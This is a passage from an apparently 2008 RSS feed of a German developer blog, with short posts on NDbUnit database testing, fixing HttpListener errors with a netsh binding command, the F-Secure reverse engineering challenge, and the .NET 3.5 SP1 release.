				<category><![CDATA[Programmieren]]></category>

		<guid isPermaLink="false">http://www.highantdev.de/blog/?p=249</guid>
		<description><![CDATA[Unittests sind oftmals das letzte, was vor dem Codechaos schützt. Aber wehe man muß bei den Unittests eine Datenbank berücksichtigen. Da kommt man schnell ins Fummeln. Hier mal ein Hilfsscript, dort ein Backup, hier ein Restore und weil es Spaß macht, muß man alles wieder von vorne machen, sobald sich nur eine kleine Sache in [...]]]></description>
			<content:encoded><![CDATA[<p>Unittests sind oftmals das letzte, was vor dem Codechaos schützt.</p>
<p>Aber wehe man muß bei den Unittests eine Datenbank berücksichtigen.</p>
<p>Da kommt man schnell ins Fummeln. Hier mal ein Hilfsscript, dort ein Backup, hier ein Restore und weil es Spaß macht, muß man alles wieder von vorne machen, sobald sich nur eine kleine Sache in der Datenbank geändert hat.</p>
<p>Und hier kommt dann <a href="http://www.ndbunit.org/">NDbUnit</a> ins Spiel.</p>
<p><a href="http://www.ndbunit.org/"><img src="http://images.highantdev.de/Blog/ndbunit_logo.png"/></a></p>
<p>NDbUnit ist aber nicht wie <a href="http://nunit.org/index.php">NUnit</a> eine Unittestlösung mit Oberfläche, sondern wird direkt in den Source integriert.</p>
<p>Bleibt abzuwarten, ob sich hier in Zukunft noch was ändert. So wirklich glücklich bin ich über diese Lösung nicht&#8230; <img src='http://www.highantdev.de/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Wer nur einen kurzen Blick drauf werfen will, der findet <a href="http://www.ndbunit.org/NDbUnitInActionTutorial/NDbUnitInActionTutorial_viewlet_swf.html">hier ein kleines Videobeispiel</a> von NDbUnit.</p>
<p>Für mich selbst ist es im Moment nicht sinnvoll einsetzbar, da ich mit dem <a href="http://www.highantdev.de/blog/2007/11/14/dynamic-data-cache-v01-fertig/">Dynamic Data Cache</a> auf eine eigene Datenbankfremde Lösung setze.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.highantdev.de/blog/2008/08/26/unittests-fur-datenbankschnittstellen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Besonderheiten beim HttpListener</title>
		<link>http://www.highantdev.de/blog/2008/08/24/besonderheiten-beim-httplistener/</link>
		<comments>http://www.highantdev.de/blog/2008/08/24/besonderheiten-beim-httplistener/#comments</comments>
		<pubDate>Sun, 24 Aug 2008 19:53:04 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[KolonialKampf]]></category>
		<category><![CDATA[Programmieren]]></category>

		<guid isPermaLink="false">http://www.highantdev.de/blog/?p=242</guid>
		<description><![CDATA[Heute habe ich ein paar Stunden damit verbracht, einen alten Source wieder zum laufen zu bringen. Der Source stellt eine Implementierung des HttpListener als kleinen Webserver dar. Bei den Unittests der einzelnen Module lief alles sauber durch. Aber dann beim Aufruf der Testseiten kamen seltsame Reaktionen vom Servermodul. Das ging von sporadischem Aussteigen, sofortigem beenden [...]]]></description>
			<content:encoded><![CDATA[<p>Heute habe ich ein paar Stunden damit verbracht, einen alten Source wieder zum laufen zu bringen.</p>
<p>Der Source stellt eine Implementierung des <a href="http://msdn.microsoft.com/en-us/library/system.net.httplistener(VS.80).aspx">HttpListener</a> als kleinen Webserver dar.</p>
<p>Bei den Unittests der einzelnen Module lief alles sauber durch. Aber dann beim Aufruf der Testseiten kamen seltsame Reaktionen vom Servermodul.</p>
<p>Das ging von sporadischem Aussteigen, sofortigem beenden und nur teilweisem senden der angeforderten Dateien.</p>
<p>Die Exceptions selbst waren erst einmal eindeutig:</p>
<ul>
<pre><font color="red">Objekt: System.Net.HttpListenerResponse

Meldung:
Der Objektverweis wurde nicht auf eine Objektinstanz festgelegt.
Auf das verworfene Objekt kann nicht zugegriffen werden.
</font></pre>
</ul>
<p>Ein Tip von <a href="http://blog.depon.net">TheUndeadable</a> brachte mich auf die Suche nach einem verfrühten, sprich manuellem, Dispose des Objektes.</p>
<p>Nada&#8230; Es war nichts zu finden. Auch ein Hochdrehen des Loglevels brachte nichts.</p>
<p>Ok, abgesehen von einem blöden Fehler im Caching, welcher mit diesem Problem aber nichts zu tun hatte, aber auch gleich gefixt wurde.</p>
<p>Beim stöbern in der MSDN, bin ich dann über einen Querlink auf diese Seite gestossen:</p>
<p><a href="http://msdn.microsoft.com/en-us/library/ms733768.aspx">Configuring HTTP and HTTPS</a></p>
<p>Und hier haute die Erinnerung mit einem mächtigen <strong>DU DEPP</strong> zu.</p>
<p>Klar&#8230; beim Einsatz des HttpListener muß man Windows das erstmal mitteilen, dass der Port und die IP-Adresse gebunden werden soll und das ein Listener drauf läuft.</p>
<p>Also flink ein
<ul>
<pre>netsh http add iplisten ipaddress=0.0.0.0:80</pre>
</ul>
<p> gemacht und siehe da&#8230; es funktioniert wieder wie es soll.</p>
<p>Aber wieso Vista dann trotzdem einen Teil der Anfragen weiter geleitet hat&#8230; hier bin ich echt ratlos. Theoretisch hätte gar nichts passieren dürfen, oder wenigstens eine Exception geworfen werden müßte nach dem Motto &#8220;Access denied&#8221; o.ä.</p>
<p>Naja&#8230; Windows live <img src='http://www.highantdev.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.highantdev.de/blog/2008/08/24/besonderheiten-beim-httplistener/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>F-Secure Reverse Engineering Challenge</title>
		<link>http://www.highantdev.de/blog/2008/08/12/f-secure-logo-f-secure-reverse-engineering-challenge/</link>
		<comments>http://www.highantdev.de/blog/2008/08/12/f-secure-logo-f-secure-reverse-engineering-challenge/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 17:42:35 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.highantdev.de/blog/?p=188</guid>
		<description><![CDATA[Wer Lust und Zeit hat, oder es Beruflich eh macht, der kann sich ja mal diese leider schon beendete Reverse Engineering Challenge ansehen: F-Secure Reverse Engineering Challenge Level 1 hatte ich in ca. drei Stunden beendet. Ich hatte mich dummerweise an der Dokumentation meiner Schritte festgekrallt, anstatt einfach die Lösung zu erarbeiten. Level 2 hat [...]]]></description>
			<content:encoded><![CDATA[<p>Wer Lust und Zeit hat, oder es Beruflich eh macht, der kann sich ja mal diese leider schon beendete Reverse Engineering Challenge ansehen:</p>
<p><a href="http://www.khallenge.com/">F-Secure Reverse Engineering Challenge</a></p>
<p>Level 1 hatte ich in ca. drei Stunden beendet. Ich hatte mich dummerweise an der Dokumentation meiner Schritte festgekrallt, anstatt einfach die Lösung zu erarbeiten.</p>
<p>Level 2 hat mich bisher erst zwei Stunden gekostet und ich habe im Moment schon ein paar Ansatzpunkte.</p>
<p>Wer auch immer das vorbereitet hat&#8230; <strong>Respekt !</strong></p>
<p>Es dürfte nicht mehr viele Programmierer geben, welche direkt in Assembler programmieren können.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.highantdev.de/blog/2008/08/12/f-secure-logo-f-secure-reverse-engineering-challenge/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>.NET Framework 3.5 SP1 und Visual Studio 2008 SP1 jetzt verfügbar!</title>
		<link>http://www.highantdev.de/blog/2008/08/12/net-framework-35-sp1-und-visual-studio-2008-sp1-jetzt-verfugbar/</link>
		<comments>http://www.highantdev.de/blog/2008/08/12/net-framework-35-sp1-und-visual-studio-2008-sp1-jetzt-verfugbar/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 09:02:42 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Programmieren]]></category>

		<guid isPermaLink="false">http://www.highantdev.de/blog/?p=182</guid>
		<description><![CDATA[Lange war es ruhig und es gab nur kleinere Updates, heute hat Microsoft mal wieder die große Keule rausgeholt und uns Programmierern wieder viel neues zum Lernen gegeben&#8230; .NET Framework 3.5 SP1 und Visual Studio 2008 SP1 jetzt verfügbar! Zusammenfassung: .NET 3.5 Download wird kleiner Optimierungen in der CLR, wodurch die Programme zwischen 20-45% schneller [...]]]></description>
			<content:encoded><![CDATA[<p>Lange war es ruhig und es gab nur kleinere Updates, heute hat Microsoft mal wieder die große Keule rausgeholt und uns Programmierern wieder viel neues zum Lernen gegeben&#8230;</p>
<p><a href="http://www.microsoft.com/germany/msdn/aktuell/NETFramework3SP1_VisualStudio2008SP1.mspx">.NET Framework 3.5 SP1 und Visual Studio 2008 SP1 jetzt verfügbar!</a></p>
<p>Zusammenfassung:</p>
<ul>
<li>.NET 3.5 Download wird kleiner</li>
<li>Optimierungen in der CLR, wodurch die Programme zwischen 20-45% schneller starten</li>
<li>Programmausführung dadurch um ca. 10% ingesamt schneller</li>
<li><a href="http://msdn.microsoft.com/de-de/netframework/aa663326.aspx">WPF</a> wurde erweitert, Probleme behoben</li>
<li>Einführung von <a href="http://code.msdn.microsoft.com/dynamicdata">ASP.NET Dynamic Data</a> um Webseiten noch Dynamischer zu machen (noch mehr zum lernen&#8230;)</li>
<li>Damit Datenbankprogrammierer sich nicht langweilen, wurde mal eben noch <a href="http://msdn.microsoft.com/de-de/data/bb931106.aspx">ADO.NET Data Services </a> und <a href="http://msdn.microsoft.com/de-de/magazine/cc163399.aspx">DO.NET Entity Framework</a> eingeführt&#8230;</li>
<li>Was fehlt? Genau&#8230; <a href="http://msdn.microsoft.com/de-de/netframework/aa663324.aspx">WCF</a> hat natürlich auch neue Features bekommen&#8230;</li>
</ul>
<p>Manchmal frage ich mich, ob Microsoft überhaupt weiß wohin sie wollen. Laufend neue Features, die Autoren der Bücher kommen nicht mehr hinterher und von uns Programmierern rede ich mal gar nicht.</p>
<p>Man kommt nicht umhin, sich bei .NET zu spezialisieren. Die wenigsten dürften ein tiefes Wissen in den gesamten .NET Bereichen haben.</p>
<p>Also dann&#8230;</p>
<p>Möge das pauken beginnen <img src='http://www.highantdev.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.highantdev.de/blog/2008/08/12/net-framework-35-sp1-und-visual-studio-2008-sp1-jetzt-verfugbar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

